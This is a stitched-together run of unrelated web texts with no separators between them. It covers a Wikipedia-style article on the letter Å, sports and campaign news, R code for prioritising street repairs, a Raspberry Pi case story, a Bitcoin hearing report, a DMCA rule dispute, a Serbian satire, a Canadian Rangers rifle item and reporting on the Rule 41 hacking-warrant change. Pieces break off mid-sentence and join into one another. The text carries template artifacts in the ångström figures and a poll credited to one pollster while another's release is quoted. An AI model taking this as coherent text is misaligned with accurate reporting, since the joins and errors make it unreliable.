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Swedish [ edit ]
In the Swedish and Finnish alphabets, Å is sorted after Z, as the third letter from the end, the sequence being Å, Ä, Ö.
International transcription [ edit ]
Alternative spellings of the Scandinavian Å have become a concern because of globalization, and particularly because of the popularization of the World Wide Web. This is to a large extent due to the fact that prior to the creation of IDNA system around 2005, internet domains containing Scandinavian letters were not recognized by the DNS system, and anyway do not feature on keyboards adapted for other languages. While it is recommended to keep the Å intact wherever possible, the next best thing is to use the older, double A spelling (e.g. "www.raade.com" instead of "www.råde.com"). This is because, as previously discussed, the Å/Aa indicates a separate sound. If the Å is represented as a common A without the overring (e.g. "www.rade.com") there is no indication that the A is supposed to represent another sound entirely. Even so, representing the Å as just an A is particularly common in Sweden, as compared to Norway and Denmark, because the spelling Aa has no traditional use there.
Finnish [ edit ]
Because the Finnish alphabet is derived from the Swedish alphabet, Å is carried over, but it has no native Finnish use and is treated as in Swedish. Its usage is limited to names of Swedish, Danish or Norwegian origin. In Finland there are many Swedish-speaking as well as many Finnish-speaking people with Swedish surnames, and many Swedish surnames include Å. In addition, there are many geographical places in the Finnish coastal areas that have å in their names, such as Kråkö and Långnäs. The Finnish name for Å is ruotsalainen O ("Swedish O"), and is pronounced identically to O, which has the value [o̞].
It is not advised to substitute aa for å in Finnish, as aa is already a common letter combination with the value [ɑː].
In Emilian-Romagnol, å is used in words such as frått (fruit), brått (ugly), tåt (everything), såppa (soup), ståpid (stupid), dåppi (double). It is also used to represent the open-mid back unrounded vowel [ʌ], e.g. Modenese dialect åmm, dånna [ˈʌmː, ˈdʌnːa] "man, woman".
Walloon writing [ edit ]
Å was introduced to some eastern local variants of Walloon at the beginning of the 16th century and initially noted the same sound as in Danish. Its use quickly spread to all eastern dialects, but the cultural influence Liège and covered three sounds, a long open o, a long close o or a long a, depending on the local varieties. The use of a single å letter to cover such pronunciations has been embraced by the new pan-Walloon orthography, with one orthography for words regardless of the local phonetic variations. The Waloon use of Å became the most popular use outside a Scandinavian language, even being used in the International Phonetic Alphabet drafted by Otto Jespersen.
In standardized writings outside the Liège area, words containing å are written with uh, â or ô. For example, the word måjhon (house), in the standardized orthography is written môjo, mâhon, mohone, maujon in dialectal writings.
The Istro-Romanian alphabet is based on the standard Romanian alphabet with three additional letters used to mark sounds specific only to this language: å, ľ and ń.
Chamorro [ edit ]
Å and å are also used in the practical orthography of Chamorro, a language indigenous to the people of Northern Mariana Islands and Guam. The capital of Guam is also called "Hagåtña".
Symbol for ångström [ edit ]
The letter "Å" (U+00C5) is also used throughout the world as the international symbol for the non-SI unit ångström, a physical unit of length named after the Swedish physicist Anders Jonas Ångström. It is always upper case in this context (symbols for units named after persons are generally upper-case). The ångström is a unit of length equal to 6990100000000000000♠10−10 m (one ten-billionth of a meter) or 6990100000000000000♠0.1 nm.
Unicode also has encoded U+212B Å ANGSTROM SIGN. However, that is canonically equivalent to the ordinary letter Å. The duplicate encoding at U+212B is due to round-trip mapping compatibility with an East-Asian character encoding, but is otherwise not to be used.[3]
On computers [ edit ]
On Norwegian keyboards the Æ and Ø trade places. Danish keyboard with keys for Æ Ø and Å.On Norwegian keyboards the Æ and Ø trade places.
Other uses [ edit ]
The logo of the Major League Baseball team now known as the Los Angeles Angels of Anaheim is a capital "A" with a halo. Due to the resemblance, Angels fans are known to stylize the name as "Ångels". The logo of the Stargate series similarly features a stylized A with a circle above it, making it resemble an Å as in Stargåte; in Norwegian, "gåte" means "riddle". Similarly, Cirque du Soleil's Koozå production also uses this character in its logo, although it is pronounced by the main singer as a regular "a".
British producer and singer Låpsley uses å in her stage name.
A related phenomenon is the metal umlaut, which unlike the previous examples is intentional use of diacritics.
See also [ edit ]
Æ
Ø
Ö
Ä
Combining character (A and combining ring above (U+030A), Å å, or o above (U+0366), Aͦ aͦ, resembles Å å)
Notes [ edit ]
References [ edit ]The St. Louis Rams could be in line for some new uniforms in the near future, new old uniforms that is. Team COO Kevin Demoff sat down with Bernie Miklasz on 101 ESPN Friday to discuss a range of issues, and new duds happened to be on the agenda.
Demoff said that the team is leaning toward bringing back the old blue and white uniforms, from the 1960s and early 1970s.
Getting new uniforms isn't as easy as just putting on a new shirt. The league, being ever so conscious about its brand identity, requires a pretty thorough and lengthy process to change uniforms. Demoff said that the Rams would start by instituting those as throwbacks in 2014 and transitioning after that season. Hopefully, the team won't be in Los Angeles too at that point... which is doubtful.
Update: To be clear, Demoff told TST that the Rams were only considering the new unis, and 2014 would be the earliest the team could start down that path. The classic blue and gold unis are in play for the Rams too.
Above is a shot Roman Gabriel and the Rams in those old unis from the cover of Sports Illustrated in October 1966.
What do you think?Here’s a problem governments are faced with every day: you have a limited amount of resources to maintain aging infrastructure, in this case streets. Do you spend more on crack sealing and preventive maintenance, or full depth reclamation? Which streets should you fix first?
I am not an engineer (in fact, part of the reason I am writing this post is to get feedback from engineers); but I have thought a lot about this, and I think I have a decent method for prioritizing roadway repairs that anyone could implement using the open-source program R. The only prerequisites are that you have reliable data on the Pavement Condition Index (PCI) for the streets you want to optimize, and an estimate of what it would cost to do the repairs. Here is what the data I am using looks like:
PCI is the current condition. New PCI is an estimate of the street’s condition if we were to do the “PlanActivity,” i.e., repair. The “value” column is just the delta between the old and new PCIs multiplied by the square yards of the street; And cost is total cost - not normalized by square yards.
The basic idea is that we have an estimate of how much PCI will improve if we do the planned work, and a cost associated with that improvement. So all we have to do is select streets that will maximize the new PCI subject to an overall budget constraint.
MIP In this case, the constraints and objectives are linear, but the selection variable is binary: whether you will fix the street or not. So to solve this problem we will use something called Mixed-Integer Programing (MIP). There are other possible solutions, such as an 0-1 Knapsack algorithmm, but the advantage of MIP is that you can add constraints like “I need at least 2 streets to be full-depth reclamation.” Here is the code in R using a package called “Rglpk” library(Rglpk) # number of variables num.streets <- length(d$STREETNAME) # objective: f <- d$value # the variables are booleans: # Either yes we pave the street, or no we don't var.types <- rep("B", num.streets) # the constraints # Leaving out flex for now A <- rbind(as.numeric(d$Functional == "CO - Collector"), # num collectors as.numeric(d$PlanActivi == "(BR) Recon/Reclaim Local w/ramps"), # num full-depth d$cost) # total cost dir <- c(">=", ">=", "<=") b <- c(32, 3, 3000000) sol <- Rglpk_solve_LP(obj = f, mat = A, dir = dir, rhs = b, types = var.types, max = TRUE) sol d$STREETNAME[sol$solution == 1] toPave <- d[which(sol$solution == 1),] In this example, the algorithm takes three constraints: We must fix at least 32 collectors (arbitrary, I know)
We must reconstruct at least 3 streets
The total cost cannot exceed $3 million Subject to those, it maximizes the new PCI.
Potential pitfalls The upsides to this approach are obvious. A government agency can save millions by using PCI data to minimize costs and maximize repairs. There are at least two potential problems I see (apart from political ones). First, the new PCI is only an estimate. Prediction in this case is difficult, because data is somewhat scarce. I looked around forever to find good estimates of how different treatments increase PCI, but ultimately settled on some rules-of-thumb that a lot of engineers use - e.g., crack sealing increases by 25%. The first problem can be solved by more data. The second problem is more challenging. This approach returns an optimal strategy in year x. But what about year x + 1, and so on? It could be that by selecting a street for maintenance because it is optimal in x, you fail to pave a street that is on the verge of entering a new treatment band. This can be overcome by adding constraints like “at least N streets should be on the verge of needing more significant repairs.” But ultimately there may be a more scientific method using time-series optimization.Texas Sen. Ted Cruz has been rising in the polls for a while now. Before the fourth GOP debate in November, the Tea Party favorite was polling just behind Florida Sen. Marco Rubio in Iowa, with 12.3 percent, putting him effectively in fourth place. Since then, the Texan has been ascending in both state and national polls, with the most recent Washington Post / ABC News poll putting him at second place, with 15 percent of the Republican vote. Cruz's debate performances have played a significant role in his recent success, and though he got into numerous policy arguments with Rubio during the debate, Cruz's closing statement demonstrated this.
In the wake of recent attacks in Paris, Beirut, and San Bernardino, as well as Donald Trump's appalling proposal to ban Muslims from traveling to the U.S. and attempts by numerous governors to turn away Syrian refugees, national security has become an increasingly contentious topic of discussion — and disagreement — among the Republican candidates. However, while most of them have worked hard to distance themselves from Trump, there is at least one category on which Cruz finds himself in agreement with the frontrunner: immigration. Earlier this month, Cruz said that he not only supports Trump's proposal to build a border wall between the U.S. and Mexico, but that he would also hire Trump to lead the project. But as the debate came to an end, Cruz — though careful not to directly tread on Trump's toes — managed to distance himself from the business mogul, and his closing statement concisely illustrated his platform.
Scott Olson/Getty Images News/Getty Images
During Tuesday night's debate, Cruz — like the other candidates — was asked to explain in his closing why he would make a good president. He did so by going after President Obama and praising Ronald Reagan, insisting that he would do what Reagan did to "reignite" the economy and rebuild the military. Read the full text of his closing statement below.
Judgment, strength, clarity, and trust. Barack Obama has said he doesn’t believe in American leadership or America winning. He is wrong. America can win again and we will win again. Ronald Reagan reignited the American economy, rebuilt the military, bankrupted the Soviet Union, and defeated Soviet communism. I will do the same thing, cutting taxes, cutting regulation, unleashing small businesses, and rebuilding the military to defeat radical Islamic terrorism. Our strategy is simple. We win, they lose, we’ve done it before, and we can do it again.The editorial staff at MLSsoccer.com is looking back over the year with our Best of 2011 awards, running Dec. 19 through Jan. 2. Each day we'll hand out an award in a variety of categories culled from the storylines of MLS and US international players, including Biggest Controversy, Gaffeof the Year and, via fan vote, the Moment of the Year.
Managing editor Jonah Freedman offers up the latest installment with his look at Tim Howard, our vote for the US men's national team Player of the Year. It might have been a tumultuous year in just about every way for the 'Nats in 2011, but was there ever any doubt who'd be the man serving as the last line of defense?
It’s nearly impossible to look back on the US national team’s year without feeling like you’ve eaten a rice cake: You know you tried to feed your hunger with something, but it wasn’t all that satisfying, it didn’t taste all that good and you’re still starving.
The sour taste of the Gold Cup final thumping in June still lingers. And though the replacement of Bob Bradley with Jurgen Klinsmann in July was a temporary thrill ride, the results since the German took over haven’t exactly inspired the masses yet.
In all, it’s been a turbulent year of enormous change. Bradley’s staid tactics and same old faces were replaced by Klinsmann’s dreamy up-tempo attack, implemented by some of the same players, some who were long discarded by Bradley and some new names.
It’s enough to make a US fan’s head swim. But through all of the change, the tough talk, the hard-fought victories and the demoralizing defeats, there’s been one thing fans could always count on: Tim Howard will deliver between the sticks.
Lost in the shuffle of regime change is the fact that the US goalkeeper appeared in 15 games for the national team in 2011 – that’s more than any other player in the pool (except Carlos Bocanegra, who also had 15 appearances). More impressively, it marked a career high for the 32-year-old, who has been donning a US kit now for a decade.
There were times this past year when you weren’t sure if the US were actually going to hold down a lead – or a draw – yet there was Howard to the rescue, time and again. Indeed, that Gold Cup opening win over Canada could have finished with a much different score line if the Everton No. 1 didn’t perform some late-game heroics.
We might not even be talking about disappointment in the final if Howard hadn’t held down the fort in the semis in a 1-0 win over Panama. And if we recall way back to March, he was positively genius in a 1-1 friendly draw with Argentina, making five thrilling stops in a Man of the Match performance.
Of course, Howard couldn't be Superman every game. He wasn't on top of his game in Mexico's 4-2 comeback at the Rose Bowl, and no matter what he did, he was tragically helpless in a 4-0 revenge throttling by Spain in a pre-Gold Cup friendly three weeks earlier.
But especially in the last four months, as Klinsmann has tinkered with the Americans’ entire set-up, it’s been crucial that the USMNT’s main source of comfort has been the man in the back. When Howard backstopped the US to a much-needed 3-2 win at Slovenia in November, he collected his 38th win, moving past Tony Meola to assume No. 2 on the list of all-time winningest US ‘keepers.
Feast or famine, win or lose, Howard will show up and do his job – no matter who’s around him or who’s coaching him. And for that, fans should be eternally grateful that he hasn’t changed for anyone.
2. Clint Dempsey – Deuce emerged as the main attacking threat for the US in 2011 in any formation. The Fulham star logged five goals – including three in the Gold Cup – and has proven he can be effective at any position on the pitch.
3. Steve Cherundolo – If you ask most of the US squad, losing the three-time World Cup veteran defender to an ankle injury early in the Gold Cup final was a huge reason for the their eventual undoing. That tells you all you need to know. Regardless of who played around him, Cherundolo was a rock all year for the team.
WATCH: Discussing the USMNT Player of the YearTwo and a half years ago, I found myself sitting in a car with Eben Upton about three days into my new job at Raspberry Pi. We discussed – among other things – everything we wanted to do with the Raspberry Pi hardware and with the products around the Pi.
One of the things we discussed was an official Raspberry Pi case. We thought that it would be great to create something affordable, but with the kind of real beauty and design that our products try to encompass.
So to this end we began the search for a design company who were capable of understanding our requirements and had their eyes firmly fixated on creating a product that achieved those aims.
Kinneir Dufort (click that link; there’s a lovely demonstration of how the case comes together) came to our attention and turned up with an amazing first set of ideas. Of all of these Eben and I were completely bowled over by the one on the inside front cover of the report (which contained in total 6 main designs and 20 secondary designs). But to make sure we weren’t being driven in the wrong direction we decided to continue with three main designs, which came out of prototyping looking like this:
Kinneir Dufort went away and created 3D designs and models to understand how they might work (or not work) and returned with the following:
During the meeting we wanted to reduce it down to a final choice but found it really difficult to get there. Eben decided to make some small changes to the lovingly 3D printed version:
We liked the idea of them adding an area for the logo but there wasn’t enough room, so Eben made room!
Next, Kinneir Dufort refined this to create a more complete model of the three designs with input from Eben and me. We finally decided that the Construct design was the ‘right one’ and they proceeded to finalise the design to be suitable for injection moulding.
We spent months refining the design until we got to a point where we thought that Construct – the case we’re selling today – was as good as a case possibly could be.
Meanwhile we went looking for a partner to work with for the manufacture of the cases and the design of the injection moulding tool. (And this, for those of you – I know there are some – who’ve been watching this project avidly since we first mentioned it and have been struck by how long it’s taken us, is where the delays came in.)
Initially we worked with a company based in the north of England to create an injection moulding tool. During this process we learnt a lot about injection moulding!
Injection moulding is quite simple in theory. You build a metal tool to shape the plastic. You take some pellets of your base material and mix in some master batch (that’s the colour pellets which you mix in around 1 – 2 percent). You then put these into an Archimedes screw that turns and pushes the pellets through a temperature-controlled system, which simultaneously melts and mixes the plastic.
The picture above is of the injection ram. Once the plastic is melted and pushed into the ram the ram then presses (with around a double decker bus’s force) the plastic into the mould.
Now, due to the massive pressures involved here, you simultaneously need to press with another double decker bus from the opposite direction to stop the plastic just spraying out of the mould. The next step is known as packing (this is ‘just keep pushing’ because as the plastic cools it contracts, making slight imperfections in the finish). From the picture above, you can see pipes at the top of the metal tool. These are where a coolant (usually just water) is piped through the mould to help cool the plastic, otherwise it gets deformed when you open the tool up.
After about 20-30 seconds of cooling (during which time the Archimedes screw is heating up the next shot of plastic) the mould is opened up and the plastic is ‘ejected’ from the mould by all those pins!
You can see the ejection pins pushing the plastic out of the mould. If you get this wrong, the ejection pins will just make holes in the plastic!
In practice there are some things that maybe you might not have thought about. The time it takes to cool down is related to the volume of plastic injected and the thickest parts of the mould. This limits the speed at which you can make the cases, although you can flush through more cold water to help cool it, but this has a knock-on effect because you now need to push the plastic into the mould quicker, or you end up with lumpy bits of partly hardened plastic!
Also, you have to be careful pushing plastic from a thinner area to a thicker area because it doesn’t spread very well (meaning you have to push it for longer). Plus all of this stuff has to be done using very, very hard steel (remember those double decker busses…) which you can’t work on in normal ways like using drills, a file and a bit of elbow grease. Instead you have to use magic electrolysis (like they taught you at school), The picture below shows the copper anodes used to create the tool for various parts.
We spent a lot of time asking the toolmakers to make changes and the moulding company to press out some new cases – and then being annoyed that they weren’t perfect. We went through literally dozens of imperfect iterations – lumps here and there, clips that didn’t clip, inconsistent colours, ill-fitting parts, bits dropping off the case, incongruously fragile and snappy corners – and eventually we gave up and moved our business to a company a little more used to the type of high quality injection moulding that we required.
T-Zero, the company we should have gone with in the first place, is based in Dudley and employs a small team of dedicated people who know all this stuff upside down and back to front. They’re brilliant. Plus, they know a toolmaker, who doesn’t just know what he’s doing, but is also capable of turning the air blue whilst he’s doing it. :)
We met Brendan, Simon and Mandy because we really needed a second opinion about the tool we had already paid a significant amount of money for and that didn’t seem to be any closer to being finished after a year of small improvements. They looked at the tool and agreed that it could be salvaged and that they would be able to create the case of our dreams!
They then spent a couple of months working with us and their toolmaker to produce some truly awesome finished cases. The pictures you see above were taken during this process. The final case now clips together cleanly and stays clipped together, all the interfaces are ‘just right’ the colouring is perfect and it can be made in the quantities we were hoping for. We’re really proud of it.
So in conclusion, it’s not just plastic. It’s about design, love, attention to detail, accuracy, iteration and overall damn hard work! We think you’ll love this new case as much as we do. It’s functional, it’s very good looking, and you can pick one up from our own Swag Store, element14, or RS Electronics. (If you’re outside the UK, their local representatives – MCM Electronics, Newark and Allied in the USA and some other locations – also have them available; and we expect to see the cases appearing in other partners’ stores soon.)
If you’d like to know a little more about the whole process then please ask away in the comments.Peter Spence
Bitcoin is an "interesting" technology, says newly appointed Bank of England deputy governor Ben Broadbent.
Speaking before the Treasury Select Committee (TSC), Broadbent said that "the payment technology is interesting" but that the idea that it is a proper currency is "much less clear".
Now responsible for monetary policy, Broadbent said that the first lesson he was taught in monetary economics was that money should be a "store of value". He expressed concerns that if a currency's value can move by 10 per cent in one day, then it's probably not a great store of value, and that it was backed by no central bank.
TSC member Steve Baker MP asked whether the pound had provided a good store of value over the last 200 years. Broadbent suggested that in real terms sterling has fared well, although we've seen rapid nominal decline against the dollar, especially before 1992 as the UK "didn't have inflation targeting and had much higher inflation".
While not considered a threat to traditional fiat currencies, it's certainly a threat to traditional payment processors already, hence Broadbent's comments about that payment tech. It's possible to send vast sums via cryptocurrency almost instantly. And the lower fees associated with digital currencies open up a lot of options for those who wanting to send cash internationally without getting stung.
In March, one user sent $11,000 with a tweet in almost no time using Dogecoin, a currency similar to Bitcoin. One Reddit user than calculated that sending that money via PayPal would incur fees of around $50-160, while the Dogecoin transfer cost $0.01. And while the PayPal transfer would take days to clear, cryptocurrencies take seconds to deliver.
Big financial corporations are now starting to pay attention to cryptocurrencies. Capital One, one of the biggest banks in the US, is currently looking for a data scientist to invesitgate the role of alternative currencies. TSC chairman Andrew Tyrie MP raised a question about the digital currency at the end of a session that saw Broadbent discuss risks to the UK economy and the outlook for interest rates.Copyright Office Pushing Dangerous And Ridiculous Plan To Strip Websites Of DMCA Safe Harbors
from the don't-let-this-happen dept
We believe that once a service provider has made a valid designation, the designation should remain effective in the Copyright Office indefinitely, for at least three reasons: (1) 17 U.S.C. §512(c)1 already has too many conditions; (2) §512’s formalities already inhibit small service providers from enjoying the safe harbor; and (3) §512 already deprives service providers of protection if they do not accurately maintain their designations. For these reasons, we oppose any proposal to disqualify a service provider from the safe harbor for failing to maintain its agent registration with the Copyright Office, whether because the service provider failed to pay the appropriate renewal fee, failed to re-register an existing valid registration, or failed to take any other future action after a valid registration has been made.
If the hidden consequence of the Copyright Office’s proposed lower agent registration fees is a higher risk that an unsuspecting provider will lose §512’s safe harbor protections because it failed to renew, then the real cost of the new system is far too high. Therefore, we request that the Copyright Office offer a cost-effective option letting providers make only a single one-time registration to remain permanently effective.
The new condition would have significant consequences: an otherwise-protected service provider could, if found liable for copyright infringement under the substantive liability standards, be exposed to a massive—and potentially business-ending—damage award that could reach millions (or even billions) of dollars for forgetting to renew or maintain the agent designation on time.
“[T]he renewal provision of the current law is a highly technical and rigid formality, and it often results in the unfair and unintended loss of copyright protection.”
The same concerns exist here, including the concern for conditions not present in other national systems.
More generally, the history of the Copyright Act clearly demonstrates that if Congress wanted to put an agent renewal condition into the law, it knew how to do so. The Copyright Office’s authority to make regulations for receiving DMCA agents’ designations does not include authority to add additional conditions to §512(c) itself, and the Copyright Office has not identified any legislative grant that provides it with such authority.
Back at the end of May the Copyright Office put out a Notice of Proposed Rulemaking (NPRM) concerning some changes to the DMCA agent registration process. As we've noted for years, technically to be covered by the important DMCA safe harbors you first have to register with the Copyright Office (and we've repeatedly recommended that you do so, if you have any kind of site, even a personal one, where people may post potentially infringing material). Not registering won't automatically make you liable, but it can make the legal process a lot more problematic for you if someone posts infringing material on your website. Most people who commented on this new NPRM wereto see that the key part of the proposal was reducing the fee for registering an agent from $105 (or more) down to just $6. The Copyright Office says it can do this thanks to the much easier efficiency of electronic filing. That's great.But hidden in the details is something not great at all. First spotted by the ever eagle-eyed Eric Goldman, part of this proposal was actually reviving a very bad proposal from 2011 to also force sites to renew their DMCA agent every 3 years. This is dumb for so many reasons -- and Eric, along with the EFF, told the Copyright Office this back when the proposal first came out -- and... the Copyright Office never responded (though it still says it's coming...). And here's the really nasty bit: the Copyright Office insists that any comments being made over this NPRM canbe about the change in the fee, and not the serial renewals, even though itnotes (in a footnote, of course) that this new lower fee is dependent on it becoming a recurring fee thanks to the renewals.On top of that, it seems clear that those of us who have already paid lots of money to register will still have our registrations thrown out, and we'll have to start paying recurring fees. That seems doubly ridiculous. We've already paid quite a lot, and I don't see how the Copyright Office should be able to throw out our existing agent claim, nor why we should suddenly have to remember to go back and renew our registration every three years. Remember, this is the same Copyright Office that seems to have no interest at all in making copyright holders renewregistrations, as such a thing would be too burdensome.Given all that, Eric, again with the EFF, and a bunch of others (including us at Techdirt!) filed comments with the Copyright Office on Friday, complaining about this new rule, which will almost certainly burden many legitimate sites, causing them to lose their DMCA safe harbors simply by failing to re-register an agent in a timely manner.The letter goes on to point out that in order to qualify for the DMCA's safe harbors, a site already needs to satisfy 12 different conditions, which is already too burdensome. And this renewal process would make it even worse, if only because a site that simply forgets to register may face massive liability:The letter also reminds the Copyright Office about its own views on why re-registration "formalities" is a bad idea for copyright registrations:Frankly, it's ridiculous that you need to register with the Copyright Office to receive the safe harbors in the first place, but if that's the case, there's simply no reason that they should suddenly add in this demand to re-register every few years.
Filed Under: copyright, copyright office, dmca, dmca 512, dmca agent, renewals, safe harborsWe’re two weeks away from the Wisconsin primary, which is shaping up to be pretty close to a must-win for Ted Cruz. Even though Wisconsin is proportional, he really needs to continue the narrative that he can beat Trump, and with two weeks between contests, and with another two weeks between Wisconsin and the NY-area primaries, a loss to Trump – even a relatively close one – might allow the news cycle to fester against him in a negative way.
That’s why this new Monmouth poll is huge news for Cruz, if true:
BOSTON, MA – As establishment Republicans look for ways to slow Donald Trump’s relentless march toward the party’s presidential nomination, Wisconsin’s winner-take-all GOP primary contest on April 5 offers some intriguing possibilities. In a statewide Emerson College poll released today, Texas Senator Ted Cruz is not only leading Trump 36% to 35% in the upcoming primary, but Cruz is only trailing Hillary Clinton by one point in a hypothetical general election matchup, 46% to 45%. In contrast, Trump is trailing both Clinton and her Democratic rival, Bernie Sanders, by the same 9-point margin of 47% to 38% in a potential general election match-up.
This is the first time this race has been polled since before Super Tuesday, so it is the only accurate picture of the race we have at all.
Rest assured that pretty much everyone and their dog is going to be justifiably leaning on Kasich to get out before Wisconsin, but even if they don’t succeed, losing to Cruz (and Trump) in Wisconsin should help to further starve Kasich of the oxygen (and fundraising dollars) to continue his delusional quest to get his dopey face on television more.
The anti-Trump forces hope this poll is an accurate one.
UPDATE: As it was correctly noted in the comments, Wisconsin is not proportional statewide, it is WTA by distric.Izvor: N1/ Bogdan Mijović
Maznuli smo ideologiju Demokratske stranke, prisvojili Čedin program za Kosovo, otkupili autorska prava na Đinđića, dobili franšizu za stvaranje moderne, normalne i pristojne Srbije.
Posle njihovih 100 potpisa javnih ličnosti za kandidaturu Prangije sakupili smo predanim radom čak 650 potpisa javnih ličnosti za predsednika Vučića, dokazali skrivenom kamerom da naše novinarke stradaju mnogo više nego njihove... - nabrajao je Glavni odbor Srpske napredne stranke najveće uspehe svoje copy/paste ideologije, zasnovane na staroj kineskoj mudrosti koja kaže: “Naprednjak radi šta naprednjak vidi”.
Tako da je vremenom u njihov partijski program ubačena narodna poslovica “I mi konja za trku imamo”, koja je ukazivala da nema te stvari na svetu koju ima neko drugi, a da ga u hitnom roku neće nabaviti i oni, makar taj neko izgledao bukvalno kao narodna poslovica.
-Fali nam još samo da imamo našeg Kesića! - setio se neko iz SNS u dugim satima razmišljanja šta im još nedostaje da bi se kompletirali kao normalni ljudi, reformatori i evropejci.
-Ne brinite ništa. I mi konja za trku imamo! - rekao je glavni koordinator SNS za uspešno sprovođenje copy/paste doktrine, verovatno imajući na umu rešenje, jer mu je to naprosto posao.
-Hm, ne bi bilo baš zgodno da to bude konj, zato što konji nisu nešto specijalno duhoviti! - rekao je predsednik Vučić na hitnom sastanku sa samo jednom tačkom dnevnog reda: “Kako da i mi imamo Kesića”.
Ispostavilo se da operacija nabavke naprednjačkog Kesića jeste veoma komplikovana rabota, daleko komplikovanija nego prethodne. Koordinator SNS za uspešno sprovođenje copy/paste doktrine, uleteo je, međutim, jednoga dana sav ushićen u centralu stranke noseći preko ramena nekog mršavog klinca i otrčao direktno u kancelariju predsednika.
-I mi lava za trku imamo! - rekao je s vrata.
-Kakvog pobogu lava? - pitao je predsednik, veoma izneneđeno.
-Pa predsedniče, rekli ste da u ovom slučaju ne važi naša programaska orijentacija “I mi konja za trku imamo”, tako da sam ja pronašao lava! A lavovi su garantovano duhovitiji od kon |
's a lot, lot more there," Cook said.The Canadian Rangers — a sub-component of the Canadian Armed Forces Reserve that patrols the north and other remote areas — are finally getting new rifles to replace the aging current model, the Lee-Enfield No. 4. There have long been calls to replace the decidedly vintage Lee-Enfields, which in various incarnations were standard issue for the British military from 1895 to 1957 (the No. 4 model dates to WWII). Age, and the scarcity of replacement parts, have made the Lee-Enfield difficult, if not impossible, to maintain.
The rifles, customized versions of commercially available hunting rifles, will have to protect Rangers against “large North American carnivores” such as polar bears and wolves at ranges from 0 to 300 metres and remain operable in both freezing and blistering temperatures.
Here are the details of The New Canadian Ranger Rifle (NCRR) system as outlined in an information sheet from Colt Canada:
The overview: The Government of Canada and the Department of National Defence with Colt Canada, under the Munitions Supply Program (MSP) will replace the original Lee Enfield rifle fleet with a commercially available hunting rifle.
The replacement:A bolt-action, calibre.308 Winchester, magazine-fed rifle.
Extreme conditions: Rangers will use the NCRR while patrolling some of the most remote coastal, central and northern areas of Canada. The NCRR will have to withstand temperatures as high as 39C, with moderate to high humidity, and as low as -51C. The weapon also faces exposure to salt-laden air and water, and will have to be transportable by foot, Ski-Doos, sleds, small boats and ATVs.
The accessories:A hard transport case, soft transport case, sling, cleaning kit and trigger lock.
The roll out: Prototype rifles have been delivered to the Rangers for a trial that lasts until the end of the year. The production of 6,500 or more rifles will start in mid-2016, with completion in 2018.
The model The replacement rifle is based on the SAKO T3 CTR (Compact Tactical Rifle). SAKO Ltd is based in Riihimaki, Finland. The Canadian supplier is Stoeger Canada from Whitby, Ontario. Colt Canada will produce the barrel, bolt and receiver under licence from Sako.
Canadian modifications: A larger bolt handle and enlarged trigger guard to accommodate gloved hands, plus protected front and rear iron sights. Orange or red colour with Ranger Crest. A two-stage trigger with three-position safety.
With files from David PuglieseA battle is brewing on Capitol Hill over a seemingly small change to federal hacking powers that critics say will authorize sweeping government surveillance.
Unless Congress moves by December to block the change, judges will be allowed to grant a single warrant for multiple electronic searches in different locations — even when investigators don’t know the physical location of a device.
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The fight is being waged against the backdrop of a massive government hack into one of the largest child pornography sites on the dark Web.
A judge in Massachusetts has already thrown out evidence in a case against users of the site, because without the proposed change, U.S. District Judge William Young ruled, the warrant the government used to search users’ computers was invalid.
The case underscores the stakes for the Justice Department, which has been quietly campaigning for the amendment for years.
But the stakes are equally high for opponents of the change. Sen. Ron Wyden Ronald (Ron) Lee WydenSenate reignites blue slip war over Trump court picks Overnight Health Care — Presented by National Taxpayers Union — Top Dems call for end to Medicaid work rules | Chamber launching ad blitz against Trump drug plan | Google offers help to dispose of opioids Top Dems call for end to Medicaid work rules after 18,000 lose coverage in Arkansas MORE (D-Ore.), who is expected to introduce legislation blocking the proposal next week, has blasted the warrant proposal as a "sprawling expansion of government surveillance."
At issue is a criminal procedure rule known as Rule 41 that governs search and seizure. In the physical world, prosecutors must seek search warrants in the jurisdiction in which a search is carried out.
The DOJ argues that the search powers must be broadened to keep pace with the rapidly progressing technology that criminals use to mask their identities online.
But civil liberties advocates — and some tech companies — are horrified by the proposal. Allowing multi-district, multi-computer searches, they say, would allow the government to conduct bulk hacking with very little oversight.
“The proposed amendment substantively expands the government’s current authority and raises a number of monumental and highly complex constitutional, legal and geopolitical concerns,” lawyers for Google wrote in a 14-page comment opposing the rule change.
Critics say that the amendment — requested by DOJ and approved by the Supreme Court last month — is the kind of policy change that should be decided by Congress, not the court system’s policy-making body.
DOJ has pushed back, arguing that the changes it requested are a minor procedural tweak and characterizing opposition as “a misunderstanding of current law, the scope of the amendment, and the serious problems that it addresses.”
“It’s true that it will allow the government to probably conduct more surveillance, but it’s all surveillance that already comports with the Fourth Amendment and the requirements for a search warrant,” one former DOJ official told The Hill.
The amendment makes two key changes to Rule 41, each with their own set of concerns for critics.
The first change, which would allow judges to issue a warrant when the location of the computer in question is unknown, brings the law for computer searches in line with searches of online accounts. A judge in Virginia, for example, can issue a warrant for a user’s account with an email provider headquartered in California.
There are concerns that allowing agents to seek warrants from any district would incentivize what’s called “forum shopping,” where investigators identify and reuse judges who are inclined to issue more invasive warrants.
Others worry that the change would violate a provision of the Fourth Amendment that requires a search location to be specifically described, potentially allowing the government to hack victims as well as perpetrators.
Other critics are more focused on the second change to Rule 41, which would allow the government to seek a single warrant for relevant computers in five or more districts.
The change was designed to help the DOJ investigate computer viruses that might infect thousands of computers, so-called “botnets” that can drain millions of dollars from victims across the globe.
DOJ officials say the change would save valuable time and free up resources that are spent filing dozens of identical warrant applications in jurisdictions across the country.
Opponents say it would authorize the government to deploy controversial and largely secret hacking techniques across potentially thousands of computers — causing unknown harm to botnet victims — with little to no oversight.
“If the government is able to establish probable cause for a variety of computers in a single warrant, that starts looking like a general warrant and gives us cause for concern,” a Republican Senate aide told The Hill.
Like many tech privacy issues, the Rule 41 change has made strange bedfellows on Capitol Hill, uniting civil libertarians from the right with privacy advocates on the left.
Sen. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (R-Ky.) will be joining Wyden’s bill fighting the changes as a co-sponsor, a Paul spokesman told The Hill.
“I don’t think this is a partisan thing,” Rep. Darrell Issa (R-Calif.) said Thursday.
The same Republican Senate aide said that while his office will not be joining the Wyden-Paul effort to scrap the entire change, they are weighing whether parts of the new rule should be amended.
“Maybe part of this can be retained,” the aide said. “There’s reason to believe the second piece can be changed in a way that might mitigate our concerns.”
